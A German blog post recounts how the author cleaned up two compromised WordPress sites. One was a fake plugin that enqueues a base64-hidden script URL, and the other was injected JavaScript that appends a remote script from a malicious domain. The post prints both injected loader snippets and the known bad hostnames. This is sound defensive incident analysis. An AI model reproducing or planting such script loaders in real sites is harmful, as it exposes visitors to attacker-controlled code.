schließen
Vergrößertes Bild

Angriff auf Wordpress

5. Juni 2025, akt. 3. September 2025


Wie die Geschichte begann …

Viele Hoster (auch: Internet Service Provider, ISP) führen inzwischen regelmäßig Scans auf den Webspaces aus, um Schadcode zu erkennen. Gelegentlich werden dabei auch so genannte false positives gemeldet, also Code, der durchaus in Ordnung bzw. so gewollt ist, aber prinzipiell ist das natürlich eine hilfreiche Funktion!

Der Internet-Service-Anbieter (IONOS) einer von mir betreuten Website, die unter Wordpress läuft, teilte seinem Kunden am 23. Mai 2025 mit:

Potenzielles Sicherheitsrisiko auf Ihrer Website erkannt

Hallo …,
die Sicherheit und die gute Erreichbarkeit Ihrer Website ist uns wichtig. Daher treffen wir mit kostenlosen Erweiterungen für Ihren Vertrag Vorkehrungen, um dies dauerhaft zu erreichen. Mit SiteScan überprüfen wir routinemäßig Ihre Website nach vorhandenen Sicherheitslücken.
Dabei ist uns eine potentielle Schwachstelle auf Ihrer Website aufgefallen.
Zum aktuellen Zeitpunkt ist uns nicht bekannt, dass die identifizierte Lücke bereits ausgenutzt wurde.
Weitere Informationen und Handlungsempfehlungen erhalten Sie auf der detaillierten Sicherheitsübersicht in Ihrem Kundenbereich …

Leider wurde ich davon nicht in Kenntnis gesetzt, aber diese Details wären auch nicht sonderlich hilfreich gwesen, da es sich dabei eher um allgemeine Aussagen und keine konkreten Hinweise auf den Ort der „Schwachstellen“ handelte – also schwer, auf dieser Grundlage zielführende Untersuchungen anzustellen.

Eine weitere Nachricht kam am 3. Juni 2025:

Hallo …,
vor wenigen Minuten hat unser Anti-Viren-Scanner erkannt, dass eine schädliche Datei auf Ihren IONOS Webspace geladen wurde.

Die Datei finden Sie auf Ihrem Webspace unter folgendem Pfad: …wp-content/plugins/forceful_premise/class/wearily_chow.php

Diese Information wurde mir weitergeleitet und ich untersuchte den Fall sofort:

  • Frontend-Aufruf triggerte mein Antiviren-Programm und zeigte den Inhalt nicht korrekt
  • Backend-Aufruf und Zugriff via FTP waren glücklicherweise möglich
  • gelegentlich war die URL nicht erreichbar, weil (angeblich?) das Zertifikat nicht gefunden werden konnte
  • das Zugriffs-Logfile zeigte erfolgreiche Abrufe verschiedener Seiteninhalte
  • Gelegentlich wurde vom Antiviren-Programm der Zugriff auf masteringjscode.com blockiert.

Schnelle Sofortmaßnahmen

Ein Plugin namens forceful_premise (= energisch vorhersehbar) schien mir doch schon mal sehr verdächtig! Eine schnelle Google-Anfrage ergab nur eine Internet-Präsenz, die sich offenbar auch diesen Code eingefangen hat(te):

Screenshot Google-Suchergebnis

Ein ähnlich lautendes Plugin wurde (natürlich!) auch nicht in der Liste der Plugins angezeigt, also entschloss ich mich, den kompletten Plugin-Quellcode für spätere Untersuchungen in ein nur lokal zugreifbares Verzeichnis auf meinen Rechner zu kopieren und im Webspace der Seite zu löschen.

Allerdings änderte dies das Verhalten des Internetauftritts noch nicht. Erst, als ich auch den kompletten Cache der Installation (in der ein Caching-Plugin akiv ist) gelöscht hatte, war alles wieder gut!

Da der Schadcode ja irgendwie auf den Webspace gekommen sein musste, empfahl ich dem Betreiber, alle mit dieser Wordpress-Installation verbundenen und auch die Kennwörter des IONOS-Backends und der FTP-Zugänge zu ändern.

Forensik

Die Domain masteringjscode.com wird in Norwegen gehostet, hat aber russische E-Mail-Adresse für den Admin-C eingetragen (siehe: Report von Level Blue) und ist bekannt für Schadcode (siehe: Report von Hybrid Analysis).

Wie hat das Ganze denn nun aber funktioniert?

ein Blick in den Code der Plugin-Hauptdatei zeigt, dass ganz am Anfang des Wordpress-Starts eine Funktion aus dem Plugin ausgeführt wird:

add_action('wp_enqueue_scripts', 'awkwardly_daily_mixture_sign');

Man mag bei dem Funktionsnamen schmunzeln: unbeholfen tägliches Mischungs-Zeichen, Humor haben die Jungs oder Mädels offenbar. Die Suche nach awkwardly_daily_mixture_sign in den Dateien des Plugins ergibt zwei Treffer, einer davon ist die Funktions-Definition in der Datei wearily_chow.php (die wir ja von IONOS genannt bekamen - der Scan ist also offenbar ganz pfiffig). Und dort finden wir nun den folgenden Code (um den kompletten Inhalt der Variable $temp anzuzeigen bitte den Mauszeiger darüber bewegen):

(1) $temp = 'aHR0cHM6Ly … jFKZnNINGM=';
(2) wp_register_script('assail_shameless_gallery',
base64_decode($temp), array(), null, false);
(3) wp_enqueue_script('assail_shameless_gallery');

Hier wird also neuer Code definiert (1), registriert (2) und ausgeführt (3). Was aber steckt hinter der codierten Variable $temp? Nun, das ist schnell herauszubekommen:

  • Wir benutzen einen online verfügbaren Base64-Dekoder,
  • geben den Inhalt der Variable ein und
  • lassen diesen dekodieren.
  • Voilà!

Und was bekommen wir? Den Zugriff auf die verdächtige Domain (auch hier wird der komplette Aufruf beim Überfahren mit der Maus angezeigt [hinterer Teil]):

https://masteringjscode.com/7eRAGApMl … 1f1JfsH4c

Dieses Rätsel ist also teilweise gelöst, was daraufhin ausgeführt wurde, lassen wir vorerst im Dunkeln. Vermutlich wird nur die aufrufende Adresse in eine Datenbank für spätere Angriffe eingetragen.

Zum Schluss wäre noch interessant, auf welchem Weg dieses „Plugin“ etabliert wurde. Leider ging aus den Zugriffs-Logs von IONOS nichts hervor, was hätte erkennen lassen, wie die Angreifer vorgegangen sind. Eine Prüfung der Admin-Benutzer (auch der entsprechenden Datenbank-Einträge) ergab auch keine Anhaltspunkte. Schade!


Update vom 4. September 2025: Ein neuer Angriff …

Ich erhielt eine Meldung, dass eine Website nicht erreichbar sei, stattdessen eine Umleitung auf eine dubiose Adresse erfolgt. Und tatsächlich meldete sich beim Aufruf der Seite der Virenschutz mit einem blockierten Aufruf von wafsearch.wiki (siehe Bild).

Die URL ist im Internet zu finden und als problematisch eingestuft. Soweit, so schlecht. Wie kommt es nun aber dazu, dass diese URL offenbar aufgerufen, mindestens aber abgefragt werden soll?

Der nächste Schritt war eine Google-Suche nach wordpress wafsearch.wiki und diese ergab sechs Treffer auf Wordpress-Seiten, bei denen der Schadcode im Klartext auf der Seite zu bewundern war – offenbar war hier etwas schief gegangen, als „die bösen Buben“ tätig wurden … 😊
Die Betreiber von fünf Seiten wurden informiert, eine ist nicht [mehr] erreichbar. Allerdings waren die wegen meist fehlender Impressen erratenen Mailadressen (webmaster@…) in der Regel nicht valide.

Beim folgenden Blick auf den Webspace entdeckte ich zwei versteckte Dateien, die ich vorsichtshalber in ein geschütztes Verzeichnis verschob – was aber das Problem noch nicht löste.

Deshalb loggte ich mich per SSH auf den Server ein und durchsuchte die Dateien nach wafsearch.wiki. Das Ergebnis:

$ find -type f -exec grep -l "wafsearch" {} \;
./wp-content/plugins/download-monitor/assets/js/dlm-xhr.min.js
./wp-includes/js/masonry.min.js

Also sah ich mir den Inhalt dieser beiden Dateien an und fand das:

jQuery(function(e){new DLM_XHR_Download}); …
  (lange Zeile Nutzcode)
  l.send()}} var url = 'https://wafsearch.wiki/xml';

var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);

Nach dem Entfernen der rot markierten Teile hatte der Spuk ein Ende!

Ich gebe zu, dass das Auffinden dieses nicht sonderlich intelligent versteckten Schadcodes keine allzu große Herausforderung war, nun gilt es „nur noch“ das Einfallstor zu finden!


zur Übersicht der Beiträge

Sie wollen mir etwas zu diesem Thema mitteilen? Dann schreiben Sie bitte eine Nachricht zu diesem Beitrag.

18 weitere Beiträge:
Künstliche Intelligenz (KI, AI) (22. Juni 2025, akt. 12. April 2026)  •  Balkonkraftwerk (12. Juni 2025, akt. 12. April 2026)  •  Revisionssichere Archivierung (16. Juni 2025, akt. 27. März 2026)  •  Stirbt der gute Manitu? (7. Dezember 2025)  •  Digitale Vorsorge, digitaler Nachlass (5. November 2025)  •  Energiebedarf modernen Lebens (31. Oktober 2025, akt. 4. November 2025)  •  Ist das Internet kostenlos? (4. November 2025)  •  Zwangsbeglückung (7. Juni 2025, akt. 31. Oktober 2025)  •  Erlebnisse in der DDR (14. Juni 2025, akt. 30. Oktober 2025)  •  Mobilfunk und Strahlung – eine Richtigstellung (8. Juni 2025, akt. 29. Oktober 2025)  •  Energieversorgung Deutschland (1. August 2025)  •  Datenschutz in Europa (15. Juli 2025)  •  Zeitungsdigitalisierung (26. Juni 2025)  •  Kennworte (25. Juni 2025)  •  Elektromobilität / Lithiumabbau (21. Juni 2025)  •  Elektrosmog (9. Juni 2025, akt. 10. Juni)  •  Schwibbogenbau (Dezember 2024)  •  Gefahr durch Induktionsherde? (17. Dezember 2024)